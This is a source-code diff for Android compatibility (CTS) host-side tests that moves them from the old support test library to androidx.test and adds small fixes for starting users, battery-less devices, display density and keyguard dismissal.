@@ -31,11 +31,11 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/AndroidManifest.xml
index af47b93..0c26d15 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/AndroidManifest.xml
@@ -31,7 +31,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4" />
</manifest>
diff --git a/hostsidetests/shortcuts/deviceside/multiuser/Android.mk b/hostsidetests/shortcuts/deviceside/multiuser/Android.mk
index 9051324..48b57c8 100644
--- a/hostsidetests/shortcuts/deviceside/multiuser/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/multiuser/Android.mk
@@ -31,11 +31,11 @@
$(call all-java-files-under, ../common/src)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
diff --git a/hostsidetests/shortcuts/deviceside/multiuser/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/multiuser/AndroidManifest.xml
index 886aded..e00ce0e 100644
--- a/hostsidetests/shortcuts/deviceside/multiuser/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/multiuser/AndroidManifest.xml
@@ -38,7 +38,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.content.pm.cts.shortcut.multiuser" />
</manifest>
diff --git a/hostsidetests/shortcuts/deviceside/upgrade/Android.mk b/hostsidetests/shortcuts/deviceside/upgrade/Android.mk
index 22907bb..0de206f 100644
--- a/hostsidetests/shortcuts/deviceside/upgrade/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/upgrade/Android.mk
@@ -35,11 +35,11 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/version1/res
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
@@ -68,11 +68,11 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/version2/res
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
diff --git a/hostsidetests/shortcuts/deviceside/upgrade/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/upgrade/AndroidManifest.xml
index 72d7dfc..468cea1 100644
--- a/hostsidetests/shortcuts/deviceside/upgrade/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/upgrade/AndroidManifest.xml
@@ -38,7 +38,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.content.pm.cts.shortcut.upgrade" />
</manifest>
diff --git a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java
index bc33abf..863f51b 100644
--- a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java
+++ b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java
@@ -43,7 +43,7 @@
protected static final boolean NO_UNINSTALL_IN_TEARDOWN = false; // DO NOT SUBMIT WITH TRUE
- private static final String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+ private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
private IBuildInfo mCtsBuild;
@@ -214,6 +214,29 @@
throw new IllegalStateException();
}
+ /** Starts user {@code userId} and waits until it is in state RUNNING_UNLOCKED. */
+ protected void startUserAndWait(int userId) throws Exception {
+ getDevice().startUser(userId);
+
+ final String desiredState = "RUNNING_UNLOCKED";
+ final long USER_STATE_TIMEOUT_MS = 60_0000; // 1 minute
+ final long timeout = System.currentTimeMillis() + USER_STATE_TIMEOUT_MS;
+ final String command = String.format("am get-started-user-state %d", userId);
+ String output = "";
+ while (System.currentTimeMillis() <= timeout) {
+ output = getDevice().executeShellCommand(command);
+ if (output.contains(desiredState)) {
+ return;
+ }
+ try {
+ Thread.sleep(100);
+ } catch (InterruptedException e) {
+ // Do nothing.
+ }
+ }
+ fail("User state of " + userId + " was '" + output + "' rather than " + desiredState);
+ }
+
/**
* Variant of {@link #assertContainsRegex(String,String,String)} using a
* generic message.
diff --git a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java
index 3c265ba..72c6a44 100644
--- a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java
+++ b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java
@@ -45,7 +45,7 @@
runDeviceTestsAsUser(TARGET_PKG, ".ShortcutManagerManagedUserTest",
"test01_managedProfileNotStarted", getPrimaryUserId());
- getDevice().startUser(profileId);
+ startUserAndWait(profileId);
runDeviceTestsAsUser(TARGET_PKG, ".ShortcutManagerManagedUserTest",
"test02_createShortuctsOnPrimaryUser", getPrimaryUserId());
diff --git a/hostsidetests/statsd/apps/statsdapp/Android.mk b/hostsidetests/statsd/apps/statsdapp/Android.mk
index 4de17bb..a615d3c 100644
--- a/hostsidetests/statsd/apps/statsdapp/Android.mk
+++ b/hostsidetests/statsd/apps/statsdapp/Android.mk
@@ -32,11 +32,11 @@
LOCAL_PRIVILEGED_MODULE := true
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util \
+ ctstestrunner-axt \
+ compatibility-device-util-axt \
androidx.legacy_legacy-support-v4 \
legacy-android-test \
- android-support-test \
+ androidx.test.rules \
statsdprotolite
# tag this module as a cts test artifact
diff --git a/hostsidetests/statsd/apps/statsdapp/AndroidManifest.xml b/hostsidetests/statsd/apps/statsdapp/AndroidManifest.xml
index 1e86fa7..86afa88 100644
--- a/hostsidetests/statsd/apps/statsdapp/AndroidManifest.xml
+++ b/hostsidetests/statsd/apps/statsdapp/AndroidManifest.xml
@@ -81,7 +81,7 @@
android:permission="android.permission.BIND_JOB_SERVICE" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.server.cts.device.statsd"
android:label="CTS tests of android.os.statsd stats collection">
<meta-data android:name="listener"
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
index 719dcb7..aefa0f5 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
@@ -16,11 +16,14 @@
package com.android.server.cts.device.statsd;
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
+import static org.junit.Assert.assertTrue;
+
import android.accounts.Account;
import android.accounts.AccountManager;
import android.app.AlarmManager;
import android.app.PendingIntent;
-import android.app.Activity;
import android.app.job.JobInfo;
import android.app.job.JobScheduler;
import android.bluetooth.BluetoothAdapter;
@@ -35,9 +38,8 @@
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
-import android.hardware.camera2.CameraDevice;
-import android.hardware.camera2.CameraManager;
import android.hardware.camera2.CameraCharacteristics;
+import android.hardware.camera2.CameraDevice;
import android.hardware.camera2.CameraManager;
import android.location.Location;
import android.location.LocationListener;
@@ -51,13 +53,10 @@
import android.os.Looper;
import android.os.PowerManager;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
import android.util.Log;
-import android.util.StatsLog;
-import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
+import androidx.test.InstrumentationRegistry;
+
import org.junit.Test;
import java.util.Arrays;
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java
index 40c4f03..caaf92e 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java
@@ -16,10 +16,12 @@
package com.android.server.cts.device.statsd;
-import android.net.wifi.WifiManager;
-import android.support.test.InstrumentationRegistry;
-
import static org.junit.Assert.assertTrue;
+
+import android.net.wifi.WifiManager;
+
+import androidx.test.InstrumentationRegistry;
+
import org.junit.Test;
/**
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/WakelockLoadTestRunnable.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/WakelockLoadTestRunnable.java
index e887a7a..1a3d32a 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/WakelockLoadTestRunnable.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/WakelockLoadTestRunnable.java
@@ -17,9 +17,10 @@
import android.content.Context;
import android.os.PowerManager;
-import android.support.test.InstrumentationRegistry;
-import java.util.concurrent.CountDownLatch;
+import androidx.test.InstrumentationRegistry;
+
+import java.util.concurrent.CountDownLatch;
public class WakelockLoadTestRunnable implements Runnable {
String tag;
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
index 02bc735..657c0a6 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
@@ -19,6 +19,7 @@
import static android.cts.statsd.atom.DeviceAtomTestCase.DEVICE_SIDE_TEST_PACKAGE;
import android.os.BatteryStatsProto;
+import android.service.battery.BatteryServiceDumpProto;
import android.service.batterystats.BatteryStatsServiceDumpProto;
import android.view.DisplayStateEnum;
@@ -70,6 +71,7 @@
public static final String UPDATE_CONFIG_CMD = "cmd stats config update";
public static final String DUMP_REPORT_CMD = "cmd stats dump-report";
+ public static final String DUMP_BATTERY_CMD = "dumpsys battery";
public static final String DUMP_BATTERYSTATS_CMD = "dumpsys batterystats";
public static final String REMOVE_CONFIG_CMD = "cmd stats config remove";
public static final String CONFIG_UID = "1000";
@@ -502,6 +504,14 @@
}
protected void unplugDevice() throws Exception {
+ // On batteryless devices on Android P or above, the 'unplug' command
+ // alone does not simulate the really unplugged state.
+ //
+ // This is because charging state is left as "unknown". Unless a valid
+ // state like 3 = BatteryManager.BATTERY_STATUS_DISCHARGING is set,
+ // framework does not consider the device as running on battery.
+ setChargingState(3);
+
getDevice().executeShellCommand("cmd battery unplug");
}
@@ -590,7 +600,7 @@
}
protected void turnBatterySaverOn() throws Exception {
- getDevice().executeShellCommand("cmd battery unplug");
+ unplugDevice();
getDevice().executeShellCommand("settings put global low_power 1");
}
@@ -655,6 +665,21 @@
}
/**
+ * Determines if the device has a battery.
+ */
+ protected boolean hasBattery() throws Exception {
+ try {
+ BatteryServiceDumpProto batteryProto = getDump(BatteryServiceDumpProto.parser(),
+ String.join(" ", DUMP_BATTERY_CMD, "--proto"));
+ LogUtil.CLog.d("Got battery service dump:\n " + batteryProto.toString());
+ return batteryProto.getIsPresent();
+ } catch (com.google.protobuf.InvalidProtocolBufferException e) {
+ LogUtil.CLog.e("Failed to dump batteryservice proto");
+ throw (e);
+ }
+ }
+
+ /**
* Determines if the device has |file|.
*/
protected boolean doesFileExist(String file) throws Exception {
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
index cd396ec..ef5c768 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
@@ -45,7 +45,7 @@
protected IBuildInfo mCtsBuild;
- private static final String TEST_RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+ private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
@Override
protected void setUp() throws Exception {
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
index cc3b47c..34adcd1 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
@@ -338,6 +338,7 @@
return;
}
if (!hasFeature(FEATURE_WATCH, false)) return;
+ if (!hasBattery()) return;
StatsdConfig.Builder config = getPulledConfig();
FieldMatcher.Builder dimension = FieldMatcher.newBuilder()
.setField(Atom.REMAINING_BATTERY_CAPACITY_FIELD_NUMBER)
@@ -365,6 +366,7 @@
return;
}
if (!hasFeature(FEATURE_WATCH, false)) return;
+ if (!hasBattery()) return;
StatsdConfig.Builder config = getPulledConfig();
FieldMatcher.Builder dimension = FieldMatcher.newBuilder()
.setField(Atom.FULL_BATTERY_CAPACITY_FIELD_NUMBER)
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index 331872d..c937e30 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -370,6 +370,7 @@
if (statsdDisabled()) {
return;
}
+ if (!hasFeature(FEATURE_WATCH, false)) return;
final int atomTag = Atom.OVERLAY_STATE_CHANGED_FIELD_NUMBER;
Set<Integer> entered = new HashSet<>(
diff --git a/hostsidetests/theme/app/Android.mk b/hostsidetests/theme/app/Android.mk
index de63355..1d5a6f0 100644
--- a/hostsidetests/theme/app/Android.mk
+++ b/hostsidetests/theme/app/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/theme/app/AndroidManifest.xml b/hostsidetests/theme/app/AndroidManifest.xml
index 2a03db9..0f3c1de 100755
--- a/hostsidetests/theme/app/AndroidManifest.xml
+++ b/hostsidetests/theme/app/AndroidManifest.xml
@@ -39,7 +39,7 @@
</application>
<!-- self-instrumenting test package. -->
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.theme.app"
android:label="Generates Theme reference images"/>
diff --git a/hostsidetests/theme/assets/28/360dpi.zip b/hostsidetests/theme/assets/28/360dpi.zip
index 40b434b..3e1f801 100644
--- a/hostsidetests/theme/assets/28/360dpi.zip
+++ b/hostsidetests/theme/assets/28/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/generate_images.py b/hostsidetests/theme/generate_images.py
index d8df3bf..4b1b581 100755
--- a/hostsidetests/theme/generate_images.py
+++ b/hostsidetests/theme/generate_images.py
@@ -133,7 +133,7 @@
print("Generating images on " + device_serial + "...")
try:
(out, err) = device.run_instrumentation_test(
- "android.theme.app/android.support.test.runner.AndroidJUnitRunner")
+ "android.theme.app/androidx.test.runner.AndroidJUnitRunner")
except KeyboardInterrupt:
raise
except:
diff --git a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
index de107c7..4dc56f8 100644
--- a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
+++ b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
@@ -55,7 +55,7 @@
private static final String GENERATED_ASSETS_ZIP = "/sdcard/cts-theme-assets.zip";
/** The class name of the main activity in the APK. */
- private static final String TEST_CLASS = "android.support.test.runner.AndroidJUnitRunner";
+ private static final String TEST_CLASS = "androidx.test.runner.AndroidJUnitRunner";
/** The command to launch the main instrumentation test. */
private static final String START_CMD = String.format(
@@ -83,12 +83,15 @@
private ExecutorCompletionService<Pair<String, File>> mCompletionService;
+ // Density to which the device should be restored, or -1 if unnecessary.
+ private int mRestoreDensity;
@Override
protected void setUp() throws Exception {
super.setUp();
mDevice = getDevice();
+ mRestoreDensity = resetDensityIfNeeded(mDevice);
mDevice.executeShellCommand("settings put system font_scale 1.0");
final String density = getDensityBucketForDevice(mDevice);
final String referenceZipAssetPath = String.format("/%s.zip", density);
@@ -139,6 +142,8 @@
// Remove generated images.
mDevice.executeShellCommand(CLEAR_GENERATED_CMD);
+ restoreDensityIfNeeded(mDevice, mRestoreDensity);
+
super.tearDown();
}
@@ -268,14 +273,26 @@
return bucket;
}
- private static int getDensityForDevice(ITestDevice device) throws DeviceNotAvailableException {
+ private static int resetDensityIfNeeded(ITestDevice device) throws DeviceNotAvailableException {
final String output = device.executeShellCommand(WM_DENSITY);
final Pattern p = Pattern.compile("Override density: (\\d+)");
final Matcher m = p.matcher(output);
if (m.find()) {
- throw new RuntimeException("Cannot test device running at non-default density: "
- + Integer.parseInt(m.group(1)));
+ device.executeShellCommand(WM_DENSITY + " reset");
+ int restoreDensity = Integer.parseInt(m.group(1));
+ return restoreDensity;
}
+ return -1;
+ }
+
+ private static void restoreDensityIfNeeded(ITestDevice device, int restoreDensity)
+ throws DeviceNotAvailableException {
+ if (restoreDensity > 0) {
+ device.executeShellCommand(WM_DENSITY + " " + restoreDensity);
+ }
+ }
+
+ private static int getDensityForDevice(ITestDevice device) throws DeviceNotAvailableException {
final String densityProp;
if (device.getSerialNumber().startsWith("emulator-")) {
diff --git a/hostsidetests/trustedvoice/app/AndroidManifest.xml b/hostsidetests/trustedvoice/app/AndroidManifest.xml
index 53b2981..f54af61 100755
--- a/hostsidetests/trustedvoice/app/AndroidManifest.xml
+++ b/hostsidetests/trustedvoice/app/AndroidManifest.xml
@@ -20,7 +20,8 @@
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<application>
- <activity android:name=".TrustedVoiceActivity" >
+ <activity android:name=".TrustedVoiceActivity"
+ android:turnScreenOn="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
diff --git a/hostsidetests/trustedvoice/app/src/android/trustedvoice/app/TrustedVoiceActivity.java b/hostsidetests/trustedvoice/app/src/android/trustedvoice/app/TrustedVoiceActivity.java
index 95c446a..32cc42c 100644
--- a/hostsidetests/trustedvoice/app/src/android/trustedvoice/app/TrustedVoiceActivity.java
+++ b/hostsidetests/trustedvoice/app/src/android/trustedvoice/app/TrustedVoiceActivity.java
@@ -17,12 +17,12 @@
package android.trustedvoice.app;
import android.app.Activity;
+import android.app.KeyguardManager;
+import android.app.KeyguardManager.KeyguardDismissCallback;
+import android.content.Context;
import android.os.Bundle;
import android.util.Log;
-import android.app.KeyguardManager;
-import android.content.Context;
import android.view.WindowManager.LayoutParams;
-import java.lang.Override;
/**
* This activity when in foreground sets the FLAG_DISMISS_KEYGUARD.
@@ -37,14 +37,18 @@
*/
private static final String TEST_STRING = "TrustedVoiceTestString";
+ private KeyguardManager mkeyguardManager;
+
@Override
public void onCreate(Bundle icicle) {
super.onCreate(icicle);
+ mkeyguardManager =
+ (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
// Unlock the keyguard.
- getWindow().addFlags(LayoutParams.FLAG_DISMISS_KEYGUARD
- | LayoutParams.FLAG_TURN_SCREEN_ON
+ getWindow().addFlags(LayoutParams.FLAG_TURN_SCREEN_ON
| LayoutParams.FLAG_KEEP_SCREEN_ON);
+ mkeyguardManager.requestDismissKeyguard(this, null);
}
@Override
@@ -52,8 +56,7 @@
super.onWindowFocusChanged(hasFocus);
if (hasFocus) {
// Confirm that the keyguard was successfully unlocked.
- KeyguardManager kM = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
- if (!kM.isKeyguardLocked()) {
+ if (!mkeyguardManager.isKeyguardLocked()) {
// Log the test string.
Log.i(TAG, TEST_STRING);
}
diff --git a/hostsidetests/trustedvoice/src/android/trustedvoice/cts/TrustedVoiceHostTest.java b/hostsidetests/trustedvoice/src/android/trustedvoice/cts/TrustedVoiceHostTest.java
index 7cea5e5..9420124 100644
--- a/hostsidetests/trustedvoice/src/android/trustedvoice/cts/TrustedVoiceHostTest.java
+++ b/hostsidetests/trustedvoice/src/android/trustedvoice/cts/TrustedVoiceHostTest.java
@@ -97,6 +97,8 @@
getDevice().executeAdbCommand("logcat", "-c");
// Lock the device
getDevice().executeShellCommand(SLEEP_COMMAND);
+ // Add a delay to allow the device to go to sleep.
+ Thread.sleep(1000);
// Start the APK and wait for it to complete.
getDevice().executeShellCommand(START_COMMAND);
// Adding delay for OEM specific features which could delay the time of printing the
diff --git a/hostsidetests/tv/app/Android.mk b/hostsidetests/tv/app/Android.mk
index 5ffdeb4..0b49885 100644
--- a/hostsidetests/tv/app/Android.mk
+++ b/hostsidetests/tv/app/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/tv/app/AndroidManifest.xml b/hostsidetests/tv/app/AndroidManifest.xml
index 99eeb44..bec7daa 100644
--- a/hostsidetests/tv/app/AndroidManifest.xml
+++ b/hostsidetests/tv/app/AndroidManifest.xml
@@ -30,7 +30,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.tv.hostside" />
</manifest>
diff --git a/hostsidetests/tv/app2/Android.mk b/hostsidetests/tv/app2/Android.mk
index 3120510..8257909 100644
--- a/hostsidetests/tv/app2/Android.mk
+++ b/hostsidetests/tv/app2/Android.mk
@@ -31,7 +31,7 @@
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/tv/app2/AndroidManifest.xml b/hostsidetests/tv/app2/AndroidManifest.xml
index 0b20ee5..5b0f7b6 100644
--- a/hostsidetests/tv/app2/AndroidManifest.xml
+++ b/hostsidetests/tv/app2/AndroidManifest.xml
@@ -28,7 +28,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.tv.hostside.app2" />
</manifest>
diff --git a/hostsidetests/ui/appA/Android.mk b/hostsidetests/ui/appA/Android.mk
index cf6df92..17da676 100644
--- a/hostsidetests/ui/appA/Android.mk
+++ b/hostsidetests/ui/appA/Android.mk
@@ -21,8 +21,8 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/ui/appA/AndroidManifest.xml b/hostsidetests/ui/appA/AndroidManifest.xml
index 155e0af..8d574d5 100644
--- a/hostsidetests/ui/appA/AndroidManifest.xml
+++ b/hostsidetests/ui/appA/AndroidManifest.xml
@@ -37,7 +37,7 @@
</activity>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.taskswitching.appa" />
</manifest>
diff --git a/hostsidetests/ui/appB/Android.mk b/hostsidetests/ui/appB/Android.mk
index 6c64244..11fc2b0 100644
--- a/hostsidetests/ui/appB/Android.mk
+++ b/hostsidetests/ui/appB/Android.mk
@@ -21,8 +21,8 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/ui/appB/AndroidManifest.xml b/hostsidetests/ui/appB/AndroidManifest.xml
index 0cd5092..9b370c1 100644
--- a/hostsidetests/ui/appB/AndroidManifest.xml
+++ b/hostsidetests/ui/appB/AndroidManifest.xml
@@ -40,7 +40,7 @@
</activity>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.taskswitching.appb" />
</manifest>
diff --git a/hostsidetests/ui/control/Android.mk b/hostsidetests/ui/control/Android.mk
index e35c4f0..2a30338 100644
--- a/hostsidetests/ui/control/Android.mk
+++ b/hostsidetests/ui/control/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/hostsidetests/ui/control/AndroidManifest.xml b/hostsidetests/ui/control/AndroidManifest.xml
index 2b6b0dd..85f0ba8 100644
--- a/hostsidetests/ui/control/AndroidManifest.xml
+++ b/hostsidetests/ui/control/AndroidManifest.xml
@@ -26,7 +26,7 @@
</application>
<instrumentation
android:targetPackage="android.taskswitching.control.cts"
- android:name="android.support.test.runner.AndroidJUnitRunner" >
+ android:name="androidx.test.runner.AndroidJUnitRunner" >
<meta-data
android:name="listener"
android:value="com.android.cts.runner.CtsTestRunListener" />
diff --git a/hostsidetests/ui/src/android/ui/cts/TaskSwitchingTest.java b/hostsidetests/ui/src/android/ui/cts/TaskSwitchingTest.java
index 9f2bd44..623f011 100644
--- a/hostsidetests/ui/src/android/ui/cts/TaskSwitchingTest.java
+++ b/hostsidetests/ui/src/android/ui/cts/TaskSwitchingTest.java
@@ -47,7 +47,7 @@
*/
public class TaskSwitchingTest extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
private static final String TAG = "TaskSwitchingTest";
- private final static String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+ private final static String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
private static final String RESULT_KEY = "COMPATIBILITY_TEST_RESULT";
private IBuildInfo mBuild;
private ITestDevice mDevice;
diff --git a/hostsidetests/usb/SerialTestApp/Android.mk b/hostsidetests/usb/SerialTestApp/Android.mk
index 601c0ba..53b9266 100644
--- a/hostsidetests/usb/SerialTestApp/Android.mk
+++ b/hostsidetests/usb/SerialTestApp/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/usb/SerialTestApp/AndroidManifest.xml b/hostsidetests/usb/SerialTestApp/AndroidManifest.xml
index 935c237..4a08100 100644
--- a/hostsidetests/usb/SerialTestApp/AndroidManifest.xml
+++ b/hostsidetests/usb/SerialTestApp/AndroidManifest.xml
@@ -27,5 +27,5 @@
</application>
<instrumentation
android:targetPackage="com.android.cts.usb.serialtest"
- android:name="android.support.test.runner.AndroidJUnitRunner" />
+ android:name="androidx.test.runner.AndroidJUnitRunner" />
</manifest>
diff --git a/hostsidetests/usb/SerialTestApp/src/com/android/cts/usb/serialtest/UsbSerialTest.java b/hostsidetests/usb/SerialTestApp/src/com/android/cts/usb/serialtest/UsbSerialTest.java
index d239095..e54d1cb 100644
--- a/hostsidetests/usb/SerialTestApp/src/com/android/cts/usb/serialtest/UsbSerialTest.java
+++ b/hostsidetests/usb/SerialTestApp/src/com/android/cts/usb/serialtest/UsbSerialTest.java
@@ -17,9 +17,10 @@
package com.android.cts.usb.serialtest;
import android.os.Build;
